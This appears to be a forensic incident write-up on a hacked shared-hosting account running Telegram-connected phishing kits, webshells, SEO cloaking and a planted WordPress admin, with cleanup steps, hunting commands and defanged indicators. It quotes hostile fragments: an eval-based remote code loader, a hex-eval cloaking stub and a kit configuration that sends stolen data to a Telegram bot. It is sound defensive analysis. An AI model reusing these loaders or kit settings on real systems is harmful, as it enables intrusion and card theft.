I was handed the full backup of a cPanel account that had been flagged by Google Safe Browsing. The home directory was complete: websites, mail, logs, database dumps, the host’s own quarantine, even .ssh. That is rare, because normally you only get the web root.
The account was running five phishing kits at the same time, all sending stolen data to Telegram bots. It also held SEO spam doorways, bulk mailers, six webshells and an administrator user planted in the WordPress database. Someone also tagged the account with a file called
xaryes.txtin 41 places.
I analysed everything statically. Nothing was executed and no C2 was contacted. The client and the account name are left out. Bot tokens and the webshell password are redacted.
It is an ordinary shared hosting account with about ten sites on it: three WordPress installs for a small real-estate business, a demo copy, an old backup copy (WordPress 4.9.4), and two or three domains that only ever served phishing.
The two scanner logs give the scale. The cleanup scanner reported these detection classes in the live sites:
| Detection | Files |
|---|---|
php.phishing.redirect | 10 |
rex.defaced.generic | 10 |
js.spam-seo.redirect | 9 |
filename.php_on_wp-core_images | 8 |
php.phishing.script | 7 |
htaccess.phishing.block_bots | 5 |
php.phishing.generic, php.mailer.generic, html.phishing.paypal | 2 each |
php.malware.obfuscated / .filesman / .assert | 1 each |
Another 3,789 findings were inside the host’s own quarantine folder (quarantine_1751478240, an epoch for 2025-07-02). That folder holds 29,273 files, 14,689 of them PHP: a whole infected web root that the host moved aside and left in the account.
The phishing lives under one domain, plus a second parked one. The root index.php is a gate in front of everything else. The header is the seller’s advert:
// 𝓑𝔂 𝓤𝔂𝓼𝓷𝓧
// Telegram For Buy Anyscampage : @xuysnx
So this is a kit that was bought from a scam-page seller and not written by the operator. The gate does four things before it sends anyone to a kit:
DesktopBlock.php loads Mobile_Detect and returns 403 to any non-mobile browser. Victims come from SMS, so desktop visitors are analysts and scanners.ES and MA (Spain and Morocco). Every other country is dropped.If a visitor passes, the page redirects with JavaScript to /Electronica/. Failures get logged to visitors.html, a 130 KB table the operator reads. It survived in the backup and is a good picture of the campaign.
990 requests between 2024-08-31 and 2025-08-12, the day the cleanup began, so the hub was live for a full year:
| Verdict | Requests |
|---|---|
| Allowed (reached the kit) | 337 |
| Country not allowed | 312 |
| Detected as bot | 341 |
Top countries: Spain 304, China 264, United States 218, Morocco 36, Germany 26, South Korea 26. The allowed ISPs were mostly Telefónica de España, Orange Espagne, Digi Spain and Maroc Telecom (34 hits). The Chinese and US traffic is cloud scanners, mostly Tencent ranges, and every one of them was turned away. The Maroc Telecom hits are most likely the operator testing the page.
The gate works the way it is meant to: a scanner that is not a Spanish mobile phone sees a 403. That also explains why the sites were up for a year before Google flagged them.
/Electronica/)#A Correos-branded page for paying a fine. It asks for a card, then shows a fake 3-D Secure page (“Valida esta compra para continuar”) and asks for the SMS code. Stripe checkout CSS and SVGs were copied over to look genuine. The pages are cc.php, vbv.php, sms.php, pin.php, wait.php and info.php.
config.php is the whole control panel, with French comments and a #zerocution tag:
$mail_send = FALSE;
$tlg_send = true; // Telegram
$bot_token = "<redacted>";
$rez_chat = "<redacted>";
$vbv = true; $timeVBV = "15";
wait.php is a holding page that auto-refreshes after 20 seconds to sms.php, which asks for the code sent by the bank. captured.txt has 919 lines but only visitor IPs (ip : ^68.*.*.*), no card data. Everything else went to the bot.
/pol/)#An InPost-style tracking page that asks for a small redelivery fee ($fees = "8,99 PLN"), then the card, then an SMS code. It has its own antibot ($antibot = "yes", $block_proxy = "yes"), a blacklisted_ips.txt, a botMother folder and a bots_log.txt. post.php calls the Telegram API.
/ca/)#An exact copy of the “USPS.com® - USPS Tracking® Results” page, with payment.php, sms1.php, sms2.php, thanks.php and email.php under /support/verification/. The word “USPS” appears about 1,000 times in the folder.
/au/)#A TPG Australia webmail login and a DHL page. A folder with a nonsense name, messaging/revotril2mg/, holds four tiny handlers. Each one builds a Telegram message from $_POST['a'] to ['f'] (name, address, city, zip, state) and tags it with the target country flag and @zmagri. This part comes from a different kit author than the gate does.
/g/, /en/, /ae/, /ch/)#PayPal login with a 2FA page (“Log in to your PayPal account”), a Swiss DPD page (/ch/confirma/), and plain SMS pages for the UAE. The shell history of the cleanup shows a file listing with GreenBullet - PayPal.zip, which is the name of a known PayPal phishing archive sold on Telegram.
All five kits ship the same pieces: Mobile_Detect, a geo/ISP gate, a Telegram bot and a OTP step. Three distinct bot tokens are hard-coded in the PHP.
Short redirect stubs were also written into index.php of five other web roots (us, ca, pl, ae, es folders inside the real-estate site, detections php.phishing.redirect.011) so the legitimate domain would forward chosen visitors to the hub. The .htaccess for the hub is 1,351 lines: the host’s bot-block header, 222 SetEnvIfNoCase User-Agent lines for crawlers and about 1,060 deny from lines that ban scanner, cloud and Tor-exit addresses by IP.
Mailers in the quarantine and live files send the SMS and email lures:
PLALA-AUTO/config1.php and config2.php: a credential catcher for PLALA, a Japanese ISP. It stores the victim’s account and password, looks up the visitor with ipinfo.io and keeps a log.t6wer-send.php and testsend.php: mail-delivery testers for reselling the hacked account. The first prints T6werShop and sends a test mail for an orderid. The second sends “This cpanel with id - N is delivering, you can buy it now” and then deletes itself (unlink(__FILE__)). The seller_*.txt files in the quarantined web root fit the same pattern. In other words, the account itself was being sold as a mail-sending cPanel..010474771045116.php, obfuscated with goto spaghetti. It runs mail() when called with ?to=, with the subject “Sending fine 4467955” and answers ##SENT## or ##NOTSENT##. This is the sender behind the “fine” lure in the Spanish kit. Both the page and the mail are hosted here.public_html/images/*.html has nine pages named like gucci-outlet-dallas-texas-3595126.html that redirect visitors from search engines.example/*.html has pages named after exam-dump codes (312-50, ec0-349, certified-ethical-hacker) flagged as defaced.groupon.php (10 KB) is a hex-encoded cloaking agent. The file is just this:$hex='3c3f7068702024696e7465725f646f6d61696e...';
$bin=hex2bin($hex);
eval('?>'.$bin);
The decoded script (5 KB) sets $inter_domain='http://204.12.197[.]170/z50703_6/', checks whether the visitor is a crawler (googlebot|google|yahoo|bing|aol) or arrives from google.co.jp|yahoo.co.jp|google.com, and posts the request to that server to get spam pages or a redirect. Japanese search referrers are the target, which matches the Japanese PLALA kit.
There were six different ones, from different operators. A site that has been taken once has usually been taken by several people.
| File | What it is |
|---|---|
admin.php (278 B) | Remote loader: eval('?>'.get('https://i30[.]bz/f/w.txt')) with cURL. Whatever that URL serves runs. |
0x1949G1P6YA.php (4 KB) | Unauthenticated file manager: edit, delete, download, upload by POST. |
wp-class.php (18 KB) | Login-protected file manager. Hard-coded username oleg and a weak password (redacted), session language defaults to Turkish ('tr'). A copy also sat in the host quarantine. |
admin.php in the home directory (4 KB) | A second file manager with uploads and getcwd() browsing. |
mhpsdj.php, cache.php (quarantine) | An upload form into uploads/ and a copy of a small PHP file manager (show_hidden, calc_folder config). |
uploads/.../721028/index.php | A file manager with a PHP code console ($_POST['phpCode'] evaluated) and Russian comments, dropped in wp-content/uploads. |
index/en/lib/260885/index.php | Another file-manager match (php.malware.filesman). |
Names like index/en/lib/260885 and .well-known/acme-challenge/383195 also show in the scanner’s list of directories with random 6-digit names. These are the staging folders where shells were dropped.
adminer.php (500 KB) was also in the home directory. It is the real Adminer, a legitimate database tool, but it was left in a place where it is a ready-made database client for anyone who has the credentials in wp-config.php.
xaryes.txt contains the string Telegram : @xaryes and was written to 41 directories, including .ssh, logs, tmp, quarantine and the web roots. The home directory itself was writable, so the actor had account-level access, not only a vulnerable plugin. This is a signature that is easy to hunt for. A second marker family, 685cf8922faec.txt-style hex file names and seller_P932.txt-style files, also sat in the quarantined web root.
One WordPress database dump (25 MB) has two users:
(1,'broker','$P$B…','broker','…@…','','2019-04-14 08:49:47',…,'Sidney')
(2,'admin999','$P$B…','firstname lastname','[email protected]','','0000-00-00 00:00:00',…)
admin999 was created by hand with SQL: a zero registration date, a placeholder email and a placeholder name. WordPress itself would never write those values.
Its usermeta is more interesting. The real administrator has wpcg_capabilities, which matches the table prefix wpcg_. admin999 has:
wp_capabilities a:1:{s:13:"administrator";s:1:"1";}
wp_user_level 10
The keys use the default wp_ prefix, not the site’s wpcg_ one. On this database those keys would not give the user any role. Either the script that planted it did not read the table prefix, or the tables were renamed afterwards. There is also a last_login of 2021-03-27, so someone did use it, and the account is far older than the 2025 cleanup. The 3,486 published posts by author 0 look scary, but they are Enquiry# 2607-style contact-form entries from a CRM plugin. Not spam. The only spam in the dump is comment spam (cialis, essay-writing).
I can’t prove an entry point. The backup has no access logs (access-logs is a symlink to a path outside the account) and the main plugin files of several plugins were already removed by the cleanup. What it does show:
landfarmhomebackup, 5.0.18 in demo.*) with Revolution Slider, WPBakery, Loginizer and Filester (a file manager plugin) installed. These are classic exploit paths for file upload and RCE.wp-file-manager and weforms folders left. Both plugins have well-known unauthenticated exploit histories, so they are the first things to check on a similar case..lastlogin shows 14 logins to the account in July and August 2025. Six are from Moroccan ISPs (41.140, 41.142, 160.177, 196.89 ranges) between 13 and 25 July, which is a different pattern from the owner’s addresses. That is consistent with the operator using the cPanel login or SSH, but IPs alone do not prove it..ssh/authorized_keys had two keys: one with no comment and one belonging to the person doing the cleanup. An unexplained key in authorized_keys is persistence and has to be checked against the owner.The phishing hub dates back to August 2024 (the first row in the visitor log). The Spanish kit’s captured.txt starts in 2024 as well. The Gucci doorways and exam-dump pages in the quarantine are older, undated spam from an earlier infection.
Order matters. Credentials first, files second.
wp-config.php secrets (keys and salts).~/.ssh/authorized_keys, then check cron (crontab -l), ~/.cpanel, forwarders and email filters.registered = 0000-00-00 or an example.com email:SELECT ID,user_login,user_email,user_registered FROM wpcg_users
WHERE user_registered='0000-00-00 00:00:00' OR user_email LIKE '%@example.com';
usermeta rows whose key prefix does not match the table prefix..htaccess rules and the random-numbered subfolders behind.demo, *backup). An unmaintained copy on the same account is a way back in.adminer.php, *-cleanup.php scanners and anything else that is a general-purpose tool from the web root when you are done.Quick hunting commands that matched this case:
# marker file
find ~ -name 'xaryes.txt' 2>/dev/null
# PHP in places it should not be
find wp-content/uploads wp-includes/images wp-admin/images -name '*.php' -o -name '.htaccess'
# hex/eval loaders
grep -rlE "eval\(['\"]\?>['\"]\.\s*(\$\w+|get\()|hex2bin\(\$hex\)" --include=*.php .
# phishing kit fingerprints
grep -rlE "api\.telegram\.org/bot|Mobile_Detect|\\\$bot_token|\\\$tlg_send" --include=*.php .
# long random-number directories left by the dropper
find . -type d -regex '.*/[0-9]\{6\}$'
Hardening that would have blocked most of this: no PHP execution in wp-content/uploads (php_flag engine off or a deny rule), open_basedir, disabling allow_url_fopen for sites that do not need it (the admin.php loader and the cloaking agent both fetch code with cURL, so also restrict outbound connections where the host allows it), and keeping one maintained WordPress per account.
Don’t read today’s DNS as the operator’s setup. Several of the domains here are cheap and recycled. Look at the file contents and the dates.
Defanged.
| Type | Value |
|---|---|
| Kit seller tag | @xuysnx, t[.]me/xuysnx0 (“By UysnX”) |
| Marker file | xaryes.txt containing Telegram : @xaryes (41 copies) |
| Kit tag in Australian handlers | @zmagri |
| Remote loader | hxxps://i30[.]bz/f/w[.]txt |
| SEO cloaking server | hxxp://204[.]12[.]197[.]170/z50703_6/ |
| Telegram | 3 hard-coded bot tokens (redacted), api.telegram.org/bot |
| Shell names | 0x1949G1P6YA.php, wp-class.php, groupon.php, admin.php, adminer.php, t6wer-send.php, testsend.php, mhpsdj.php, .010474771045116.php |
| Kit folders | /Electronica/, /pol/, /ca/support/verification/, /au/messaging/revotril2mg/, /ch/confirma/, /g/, /00win/PLALA-AUTO/ |
| Gate file | DesktopBlock.php (loads libs/Mobile_Detect.php, 403 for non-mobile) |
| Log files | visitors.html, captured.txt, bots_log.txt, blacklisted_ips.txt |
| Lure subject | Sending fine 4467955 |
| Rogue user | admin999, [email protected], registered 0000-00-00 00:00:00 |
| Host quarantine | quarantine_1751478240 (2025-07-02) |
| Scanner IDs | php.phishing.redirect.011, php.phishing.script.002, htaccess.phishing.block_bots.003/.005, php.malware.filesman.036, php.malware.obfuscated.028, php.mailer.generic.033, html.phishing.paypal.020, filename.php_on_wp-core_images.002 |